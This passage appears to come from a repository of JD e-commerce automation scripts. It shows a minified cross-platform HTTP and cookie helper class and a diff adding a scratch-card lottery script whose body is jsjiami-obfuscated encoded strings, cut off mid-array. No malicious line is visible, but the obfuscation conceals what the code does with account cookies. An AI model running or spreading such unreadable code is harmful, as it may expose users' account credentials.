this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_drawCenter.js b/jd_drawCenter.js new file mode 100644 index 0000000..8cf38dd --- /dev/null +++ b/jd_drawCenter.js @@ -0,0 +1,15 @@ +/* +活动名称:店铺抽奖(刮刮乐) +活动链接:https://lzkj-isv.isvjd.com/drawCenter/activity/entry.html?activityId=<活动id> +环境变量:jd_drawCenter_activityId // 活动id + +默认助力第一个号 +# 店铺抽奖(刮刮乐) +7 7 7 7 7 jd_drawCenter.js, tag=店铺抽奖(刮刮乐), enabled=true +*/ + +var _0xodA='jsjiami.com.v6',_0xodA_=['‮_0xodA'],_0x9979=[_0xodA,'\x77\x36\x6e\x43\x71\x67\x33\x43\x6a\x45\x54\x43\x76\x73\x4b\x66\x77\x72\x66\x44\x67\x73\x4f\x4a\x77\x72\x2f\x44\x74\x42\x6c\x67','\x77\x6f\x67\x73\x4c\x63\x4f\x79\x77\x70\x6f\x3d','\x46\x63\x4b\x32\x77\x36\x59\x39\x77\x35\x4d\x37\x53\x4d\x4b\x6c','\x4a\x73\x4b\x4d\x77\x36\x5a\x74','\x59\x73\x4f\x69\x4d\x63\x4f\x2f\x4d\x43\x76\x43\x74\x4d\x4b\x5a','\x49\x4d\x4b\x4d\x77\x36\x46\x70\x77\x71\x66\x43\x68\x73\x4b\x45\x77\x36\x59\x3d','\x77\x36\x6a\x44\x68\x38\x4b\x65\x77\x71\x54\x43\x71\x33\x72\x43\x74\x32\x63\x3d','\x45\x4d\x4b\x56\x77\x35\x59\x55\x77\x34\x6f\x3d','\x77\x71\x6a\x44\x6a\x38\x4f\x30\x65\x6b\x67\x3d','\x77\x6f\x55\x53\x77\x71\x35\x31\x43\x67\x3d\x3d','\x4e\x38\x4b\x68\x48\x42\x52\x61','\x41\x78\x58\x44\x67\x4d\x4b\x52\x77\x34\x41\x3d','\x4b\x79\x46\x39\x77\x71\x4d\x3d','\x45\x4d\x4b\x4b\x4a\x52\x4a\x58','\x77\x37\x31\x30\x77\x34\x31\x4d\x51\x77\x3d\x3d','\x49\x31\x38\x2f\x58\x38\x4f\x69','\x77\x70\x7a\x44\x69\x73\x4b\x4e','\x48\x73\x4b\x74\x77\x37\x63\x35\x77\x36\x38\x58\x51\x4d\x4b\x7a\x54\x46\x4a\x39\x43\x77\x3d\x3d','\x77\x72\x67\x74\x51\x73\x4f\x49\x50\x51\x3d\x3d','\x77\x35\x39\x58\x77\x36\x39\x66\x61\x77\x3d\x3d','\x77\x35\x33\x44\x70\x46\x58\x44\x69\x51\x38\x3d','\x63\x68\x6b\x39\x55\x31\x59\x3d','\x77\x35\x6c\x54\x77\x34\x4a\x76\x65\x41\x3d\x3d','\x50\x43\x46\x79\x77\x71\x50\x43\x73\x41\x3d\x3d','\x77\x36\x51\x36\x44\x43\x42\x41','\x5a\x57\x78\x49\x53\x69\x67\x3d','\x62\x73\x4f\x30\x46\x73\x4f\x34\x47\x67\x3d\x3d','\x46\x4d\x4f\x7a\x77\x36\x33\x43\x6e\x41\x59\x3d','\x77\x70\x2f\x44\x6e\x31\x68\x57\x77\x71\x6b\x3d','\x77\x72\x5a\x61\x54\x38\x4b\x49\x5a\x56\x6b\x3d','\x77\x37\x66\x44\x6b\x51\x44\x44\x6f\x30\x6b\x3d','\x5a\x31\x50\x44\x6c\x63\x4f\x59\x46\x42\x54\x43\x69\x51\x37\x44\x6a\x46\x48\x43\x68\x63\x4f\x2b\x64\x48\x6e\x43\x69\x4d\x4f\x69\x77\x71\x42\x67\x52\x42\x35\x37\x77\x72\x6e\x44\x75\x4d\x4f\x5a\x77\x36\x54\x43\x70\x38\x4b\x2f\x77\x6f\x48\x43\x6a\x69\x66\x44\x6d\x73\x4b\x75\x77\x36\x4a\x51\x77\x71\x42\x30\x77\x70\x66\x44\x74\x63\x4f\x41\x44\x67\x3d\x3d','\x77\x72\x73\x6d\x46\x69\x63\x5a\x77\x34\x4d\x63','\x77\x71\x74\x77\x77\x35\x62\x44\x73\x73\x4f\x69','\x77\x34\x50\x43\x6a\x73\x4f\x49\x77\x37\x54\x43\x75\x41\x3d\x3d','\x43\x54\x73\x42\x48\x7a\x59\x50','\x4b\x7a\x70\x30\x49\x41\x63\x3d','\x77\x70\x6e\x43\x68\x42\x56\x67\x77\x72\x63\x3d','\x77\x70\x45\x48\x77\x6f\x64\x4b\x4a\x77\x3d\x3d','\x50\x43\x46\x4b\x77\x72\x4c\x43\x72\x42\x5a\x50\x77\x37\x77\x3d','\x77\x72\x30\x73\x4d\x7a\x73\x49\x77\x34\x55\x4c\x77\x34\x51\x32\x77\x37\x6e\x44\x6a\x67\x3d\x3d','\x77\x6f\x78\x41\x77\x35\x33\x43\x72\x55\x74\x72\x77\x34\x50\x44\x71\x67\x3d\x3d','\x41\x57\x68\x4c\x44\x77\x3d\x3d','\x77\x6f\x76\x44\x6f\x7a\x7a\x44\x70\x4d\x4f\x4e','\x77\x70\x48\x44\x6f\x63\x4b\x37\x61\x30\x4d\x3d','\x42\x38\x4f\x73\x77\x36\x66\x43\x67\x54\x30\x62\x77\x72\x42\x64','\x35\x4c\x71\x63\x35\x4c\x6d\x78\x36\x4c\x2b\x6a\x35\x5a\x75\x4f\x35\x4c\x71\x30\x35\x36\x6d\x38\x35\x70\x57\x2b\x35\x6f\x79\x7a','\x77\x71\x6a\x43\x75\x78\x74\x51\x43\x67\x3d\x3d','\x77\x36\x6e\x43\x76\x77\x72\x43\x73\x30\x44\x44\x71\x73\x4f\x67\x77\x36\x72\x44\x67\x4d\x4f\x63\x77\x37\x66\x44\x70\x78\x31\x77\x59\x58\x59\x6f\x77\x72\x66\x44\x6a\x73\x4b\x56\x77\x71\x4d\x38\x4d\x63\x4f\x33\x77\x36\x58\x44\x76\x54\x50\x44\x68\x4d\x4b\x36\x77\x35\x7a\x43\x70\x68\x6a\x43\x69\x77\x49\x50\x4c\x41\x6f\x77\x50\x73\x4f\x53\x77\x37\x73\x53\x77\x6f\x73\x4e\x49\x38\x4f\x63\x77\x71\x52\x4b\x77\x72\x4c\x43\x71\x4d\x4f\x76\x77\x34\x6a\x44\x69\x4d\x4b\x44','\x4b\x73\x4b\x6c\x51\x77\x5a\x50\x61\x30\x4a\x37\x77\x71\x37\x43\x74\x45\x56\x6e\x77\x36\x59\x3d','\x77\x71\x76\x44\x70\x46\x51\x3d','\x62\x63\x4b\x62\x59\x47\x34\x67\x77\x6f\x6c\x49\x47\x6e\x48\x43\x74\x51\x3d\x3d','\x77\x72\x76\x43\x75\x47\x6b\x43\x65\x38\x4b\x39\x77\x36\x2f\x43\x6a\x63\x4b\x34\x42\x4d\x4b\x68\x77\x71\x50\x43\x67\x6e\x46\x78\x77\x34\x67\x7a\x66\x47\x5a\x5a\x77\x71\x4e\x74\x4e\x42\x42\x66\x77\x35\x76\x44\x6a\x4d\x4f\x38\x77\x72\x66\x43\x75\x30\x64\x52\x77\x71\x67\x6f\x77\x37\x62\x44\x70\x73\x4f\x4b\x59\x63\x4b\x2b\x52\x43\x56\x2b\x77\x72\x64\x55\x54\x7a\x72\x43\x6e\x38\x4b\x76\x5a\x46\x6a\x44\x68\x63\x4f\x6b\x77\x37\x6c\x66\x48\x38\x4b\x48\x52\x38\x4f\x54\x77\x70\x66\x44\x76\x42\x58\x43\x74\x73\x4b\x42\x77\x72\x62\x43\x6b\x54\x46\x75\x4c\x4d\x4f\x59\x77\x36\x58\x43\x6f\x6a\x74\x62\x77\x37\x6e\x43\x67\x67\x4a\x50\x77\x37\x77\x53\x77\x6f\x4c\x44\x67\x47\x73\x56\x65\x38\x4f\x56\x57\x63\x4f\x5a\x77\x6f\x4d\x4a\x5a\x6b\x49\x66\x43\x77\x54\x44\x75\x55\x59\x5a\x77\x6f\x42\x57\x77\x34\x4d\x34\x5a\x73\x4f\x4d\x77\x35\x48\x43\x71\x38\x4b\x38\x58\x45\x76\x43\x6b\x38\x4f\x70\x77\x37\x44\x43\x71\x55\x67\x64\x58\x57\x49\x2f\x77\x72\x6f\x39\x77\x37\x63\x73\x77\x72\x50\x43\x6a\x30\x37\x43\x6f\x69\x4c\x43\x74\x30\x66\x43\x69\x63\x4b\x52\x44\x30\x63\x4e\x77\x37\x6a\x44\x71\x30\x56\x64','\x77\x70\x73\x35\x5a\x68\x4c\x44\x73\x51\x3d\x3d','\x57\x43\x77\x50\x54\x6b\x46\x77\x77\x36\x64\x31\x77\x34\x62\x43\x67\x30\x62\x43\x6a\x73\x4b\x70\x61\x4d\x4f\x6e\x50\x78\x55\x4e\x4b\x38\x4b\x72\x77\x6f\x35\x75\x77\x34\x59\x6b\x77\x6f\x44\x43\x6b\x38\x4f\x50\x77\x72\x77\x2f\x77\x72\x4c\x43\x70\x63\x4f\x5a\x52\x63\x4b\x65\x77\x36\x7a\x43\x74\x38\x4b\x2b\x4d\x4d\x4b\x4d\x77\x35\x30\x6e\x77\x71\x4c\x43\x75\x38\x4b\x37\x77\x35\x73\x6c\x4d\x56\x30\x36\x77\x72\x51\x4e\x47\x69\x35\x55\x77\x71\x35\x64\x54\x30\x6f\x3d','\x77\x6f\x48\x44\x6c\x4d\x4f\x5a\x51\x53\x4a\x46\x57\x38\x4f\x52\x45\x63\x4f\x64\x77\x35\x2f\x44\x72\x68\x46\x6f\x46\x43\x33\x44\x75\x67\x3d\x3d','\x77\x37\x67\x69\x4d\x38\x4f\x32\x77\x35\x51\x3d','\x77\x71\x4c\x44\x6e\x54\x6e\x43\x73\x4d\x4b\x39','\x77\x70\x73\x7a\x47\x67\x66\x44\x6b\x41\x3d\x3d','\x77\x35\x46\x46\x41\x54\x2f\x43\x6d\x77\x3d\x3d','\x77\x71\x30\x50\x4b\x51\x41\x7a','\x77\x72\x38\x4a\x4b\x6a\x73\x6f','\x77\x71\x4e\x4b\x56\x38\x4b\x68\x58\x51\x3d\x3d','\x77\x36\x58\x43\x6b\x73\x4f\x38\x77\x34\x7a\x43\x72\x41\x3d\x3d','\x53\x73\x4b\x54\x77\x34\x48\x43\x67\x38\x4b\x49','\x44\x68\x35\x41\x77\x71\x33\x43\x6c\x67\x3d\x3d','\x77\x70\x72\x43\x74\x51\x52\x74\x4f\x77\x3d\x3d','\x63\x4d\x4f\x30\x49\x41\x3d\x3d','\x77\x71\x68\x65\x62\x38\x4b\x4c\x63\x77\x3d\x3d','\x77\x37\x5a\x33\x77\x36\x78\x66\x58\x77\x3d\x3d','\x77\x6f\x44\x43\x6a\x68\x74\x48\x4c\x54\x67\x3d','\x77\x34\x54\x43\x6e\x73\x4f\x65\x77\x35\x58\x43\x69\x67\x3d\x3d','\x77\x37\x50\x44\x6d\x79\x48\x44\x6d\x55\x63\x3d','\x52\x46\x4d\x4d\x77\x36\x44\x44\x6f\x31\x41\x67','\x77\x34\x50\x44\x71\x63\x4b\x58\x77\x70\x6a\x43\x73\x41\x3d\x3d','\x4c\x77\x74\x56\x77\x6f\x7a\x43\x6b\x41\x3d\x3d','\x77\x6f\x51\x71\x4d\x38\x4f\x64\x77\x71\x41\x3d','\x66\x46\x5a\x4e\x65\x79\x6f\x3d','\x77\x70\x67\x2b\x43\x4d\x4f\x71\x77\x6f\x6a\x43\x76\x38\x4f\x46','\x4c\x6e\x62\x44\x67\x51\x3d\x3d','\x4a\x4d\x4b\x31\x77\x36\x41\x57\x77\x6f\x41\x3d','\x77\x35\x37\x44\x67\x38\x4b\x70\x77\x6f\x50\x43\x67\x41\x3d\x3d','\x77\x34\x67\x34\x4d\x77\x6c\x72','\x63\x6d\x49\x4a\x77\x36\x54\x44\x68\x67\x3d\x3d','\x5a\x47\x70\x2b\x59\x43\x6b\x66\x55\x67\x3d\x3d','\x77\x70\x6b\x73\x4e\x38\x4f\x4b\x77\x70\x6a\x43\x75\x4d\x4f\x37\x77\x6f\x67\x71\x77\x72\x6b\x31\x43\x4d\x4b\x76\x47\x51\x3d\x3d','\x4b\x78\x55\x67\x45\x44\x34\x3d','\x43\x43\x2f\x44\x74\x73\x4b\x75\x77\x36\x76\x44\x72\x42\x6a\x43\x70\x77\x3d\x3d','\x77\x70\x55\x73\x4d\x4d\x4f\x6b','\x52\x52\x35\x53\x59\x6e\x74\x6f\x61\x44\x49\x3d','\x77\x70\x42\x62\x77\x36\x6e\x44\x75\x73\x4f\x52\x42\x6a\x33\x44\x6b\x67\x3d\x3d','\x77\x70\x37\x44\x6a\x4d\x4b\x4a\x55\x46\x76\x43\x70\x67\x49\x64','\x77\x37\x4c\x44\x69\x68\x66\x44\x6c\x55\x38\x3d','\x63\x30\x54\x44\x69\x73\x4f\x6c\x48\x68\x34\x3d','\x77\x70\x39\x53\x77\x70\x6e\x44\x68\x56\x30\x3d','\x64\x79\x78\x79\x57\x6e\x45\x3d','\x55\x52\x62\x43\x68\x38\x4f\x67\x5a\x77\x3d\x3d','\x62\x38\x4b\x50\x64\x55\x52\x63','\x77\x6f\x44\x43\x6f\x69\x6c\x69\x77\x71\x63\x3d','\x59\x4d\x4b\x53\x61\x6e\x46\x2f','\x77\x34\x4c\x43\x74\x4d\x4f\x62\x77\x37\x37\x43\x72\x41\x3d\x3d','\x77\x35\x48\x43\x6a\x44\x7a\x43\x74\x33\x6b\x3d','\x35\x62\x71\x6e\x36\x5a\x4b\x69\x35\x6f\x75\x47\x35\x61\x57\x6f\x47\x75\x57\x4a\x70\x4f\x57\x4c\x70\x75\x53\x34\x69\x73\x4b\x48','\x77\x6f\x58\x43\x6b\x6a\x4a\x74\x4f\x79\x38\x3d','\x77\x34\x39\x2b\x49\x52\x58\x44\x6e\x4d\x4f\x69\x4a\x57\x6f\x33\x4e\x73\x4b\x48\x77\x70\x6e\x44\x67\x77\x3d\x3d','\x77\x70\x67\x2b\x43\x73\x4f\x71\x77\x6f\x76\x43\x73\x77\x3d\x3d','\x77\x72\x4c\x43\x73\x79\x48\x44\x6c\x6d\x49\x62\x44\x73\x4b\x2b\x77\x6f\x30\x45\x77\x70\x72\x44\x70\x41\x3d\x3d','\x77\x34\x51\x4a\x46\x63\x4f\x32\x77\x36\x66\x44\x73\x41\x3d\x3d','\x77\x37\x73\x77\x48\x6a\x59\x3d','\x65\x55\x54\x44\x6e\x38\x4f\x6c\x44\x51\x2f\x43\x6d\x51\x3d\x3d','\x62\x73\x4b\x55\x77\x35\x33\x43\x68\x51\x3d\x3d','\x77\x35\x4c\x44\x6b\x47\x73\x3d','\x58\x63\x4f\x56\x43\x38\x4f\x4a\x50\x41\x66\x43\x68\x38\x4b\x78','\x49\x6b\x41\x75','\x77\x35\x70\x58\x45\x69\x72\x43\x6d\x45\x63\x5a\x50\x51\x3d\x3d','\x77\x70\x76\x44\x73\x47\x78\x4a\x77\x72\x55\x3d','\x77\x71\x41\x74\x54\x67\x3d\x3d','\x77\x6f\x59\x30\x50\x78\x58\x44\x76\x73\x4f\x35\x4b\x77\x3d\x3d','\x4a\x53\x6e\x44\x75\x73\x4b\x75\x77\x34\x7a\x44\x71\x41\x62\x43\x69\x4d\x4b\x46','\x77\x36\x7a\x44\x76\x53\x44\x44\x67\x47\x6b\x3d','\x65\x73\x4f\x77\x4a\x41\x3d\x3d','\x4b\x63\x4b\x39\x77\x34\x41\x30\x77\x6f\x4e\x4f','\x50\x73\x4f\x79\x57\x48\x6a\x43\x68\x38\x4b\x72\x77\x36\x45\x3d','\x52\x6b\x4d\x4c\x77\x36\x73\x3d','\x77\x36\x62\x43\x72\x67\x72\x43\x70\x31\x4c\x43\x70\x4d\x4b\x75','\x77\x71\x4c\x44\x69\x78\x44\x43\x73\x73\x4b\x33\x58\x43\x58\x44\x69\x6d\x41\x3d','\x77\x35\x44\x44\x6d\x32\x6e\x44\x71\x41\x56\x77\x77\x70\x34\x3d','\x42\x4d\x4b\x76\x41\x51\x78\x57\x5a\x79\x5a\x56','\x77\x70\x4d\x30\x50\x52\x54\x44\x72\x63\x4f\x2b\x4c\x77\x3d\x3d','\x4b\x73\x4f\x2b\x51\x6d\x6e\x43\x6b\x4d\x4b\x71','\x56\x54\x59\x4e','\x52\x44\x31\x72\x77\x37\x4d\x70\x55\x63\x4f\x39\x63\x6d\x30\x53\x54\x42\x4c\x43\x67\x38\x4b\x63\x77\x35\x2f\x43\x75\x51\x48\x43\x75\x32\x6c\x6a\x77\x36\x4c\x44\x74\x77\x52\x4c','\x56\x51\x4e\x42','\x77\x70\x6a\x43\x6a\x69\x39\x71\x77\x70\x4a\x37\x4a\x4d\x4f\x2b\x51\x44\x70\x52\x77\x37\x5a\x51\x77\x72\x4e\x53\x77\x34\x66\x43\x6c\x33\x7a\x43\x73\x4d\x4b\x69\x64\x38\x4b\x79\x54\x30\x41\x3d','\x53\x7a\x64\x43','\x77\x71\x35\x66\x66\x73\x4b\x49\x65\x46\x58\x43\x6b\x58\x34\x6f\x4f\x48\x42\x59\x77\x35\x7a\x44\x6e\x4d\x4f\x6a\x57\x6d\x59\x35\x4f\x33\x6a\x43\x69\x30\x50\x44\x6e\x51\x4d\x3d','\x43\x4d\x4b\x76\x77\x36\x6b\x2f\x77\x36\x6b\x3d','\x77\x34\x54\x43\x6c\x73\x4f\x43\x77\x36\x2f\x43\x67\x73\x4f\x4a','\x4b\x73\x4b\x5a\x77\x36\x5a\x38\x77\x70\x33\x44\x6b\x73\x4f\x4e\x77\x71\x62\x43\x69\x73\x4b\x37\x77\x34\x50\x43\x69\x38\x4b\x39\x64\x45\x76\x43\x6b\x63\x4b\x45\x59\x63\x4f\x79\x77\x35\x78\x4e\x57\x79\x72\x44\x70\x30\x6a\x43\x76\x6a\x70\x77\x4c\x73\x4b\x31\x4c\x46\x58\x43\x76\x4d\x4f\x49\x4f\x79\x38\x44\x77\x70\x41\x50\x77\x70\x77\x45\x44\x63\x4b\x62\x47\x63\x4b\x43\x47\x73\x4f\x53\x77\x71\x6b\x43\x61\x78\x41\x31\x4f\x63\x4f\x45\x77\x6f\x74\x53\x77\x72\x6c\x36\x77\x72\x48\x43\x70\x4d\x4b\x48\x4a\x45\x6e\x44\x6d\x31\x6b\x6c\x77\x37\x7a\x44\x6e\x38\x4f\x72\x77\x37\x58\x43\x76\x63\x4f\x6c\x43\x63\x4b\x63\x77\x37\x63\x72\x77\x35\x77\x76\x64\x77\x54\x44\x71\x4d\x4f\x4b\x77\x34\x66\x43\x69\x73\x4f\x42\x51\x57\x2f\x43\x6d\x38\x4f\x2f\x4b\x30\x45\x52\x77\x37\x41\x32\x77\x36\x6e\x43\x6b\x45\x41\x61\x4a\x32\x38\x3d','\x65\x63\x4f\x34\x4e\x38\x4f\x6d\x46\x79\x54\x43\x76\x38\x4b\x54','\x36\x4c\x4f\x6d\x36\x4c\x43\x5a\x35\x59\x2b\x6a\x35\x4c\x75\x69\x38\x4a\x32\x79\x6e\x41\x3d\x3d','\x35\x72\x47\x6f\x35\x70\x32\x4b\x35\x6f\x6d\x32\x35\x59\x75\x55\x36\x49\x2b\x50\x35\x59\x32\x32\x35\x59\x6d\x4a\x35\x35\x61\x76\x35\x6f\x6d\x67\x36\x59\x75\x2b\x35\x70\x2b\x6f\x35\x4c\x79\x42\x35\x6f\x43\x42','\x77\x71\x37\x43\x6b\x63\x4b\x36\x77\x72\x38\x76\x77\x36\x30\x66','\x51\x7a\x30\x50\x45\x31\x45\x6c\x77\x71\x63\x78\x77\x34\x66\x43\x69\x51\x3d\x3d','\x77\x70\x4a\x4a\x55\x73\x4b\x75\x52\x41\x3d\x3d','\x34\x34\x4f\x4c\x35\x6f\x2b\x57\x35\x36\x65\x53\x34\x34\x4b\x7a\x36\x4b\x2b\x67\x35\x59\x57\x4e\x36\x49\x32\x2f\x35\x59\x36\x4e\x35\x4c\x75\x6c\x35\x4c\x6d\x6f\x36\x4c\x61\x51\x35\x59\x2b\x41\x35\x4c\x71\x55\x54\x41\x58\x44\x68\x63\x4b\x72\x77\x71\x72\x43\x6b\x73\x4b\x77\x35\x35\x6d\x38\x35\x6f\x79\x61\x35\x4c\x2b\x48\x35\x35\x61\x48\x77\x34\x55\x61\x77\x35\x66\x44\x68\x6b\x52\x46\x35\x35\x6d\x58\x35\x4c\x6d\x66\x35\x4c\x75\x67\x35\x36\x36\x35\x35\x59\x71\x54\x36\x49\x32\x73\x35\x59\x36\x50','\x77\x70\x37\x43\x6f\x32\x63\x62\x5a\x4d\x4f\x72\x77\x71\x48\x43\x6a\x63\x4f\x76\x54\x38\x4f\x77\x77\x36\x33\x43\x68\x48\x55\x50\x77\x34\x6f\x34\x50\x47\x41\x4e\x77\x36\x34\x42\x42\x69\x41\x65\x77\x35\x7a\x43\x73\x38\x4f\x6e\x77\x72\x48\x43\x73\x6b\x77\x34\x77\x6f\x6b\x66\x77\x72\x50\x43\x72\x38\x4f\x51\x58\x38\x4f\x75\x45\x43\x42\x34\x77\x72\x49\x3d','\x35\x72\x65\x4a\x35\x59\x6d\x43\x35\x59\x53\x56\x35\x59\x2b\x74\x77\x35\x6f\x36\x4f\x38\x4f\x4a\x55\x53\x52\x57\x77\x71\x6b\x4e\x77\x34\x4e\x66\x77\x35\x37\x43\x69\x48\x2f\x44\x71\x38\x4b\x69\x63\x4d\x4b\x39\x4b\x45\x30\x6a\x77\x6f\x77\x5a\x58\x7a\x44\x44\x6f\x63\x4f\x6b\x5a\x38\x4f\x51\x77\x72\x4d\x64\x77\x35\x2f\x43\x6d\x63\x4f\x5a\x77\x36\x66\x44\x6c\x73\x4b\x74\x53\x63\x4f\x45\x55\x67\x46\x52\x77\x71\x2f\x43\x6f\x38\x4b\x71\x53\x4d\x4b\x52\x55\x38\x4f\x58\x77\x34\x6b\x68\x4a\x42\x7a\x43\x6b\x38\x4b\x59\x77\x37\x62\x44\x74\x42\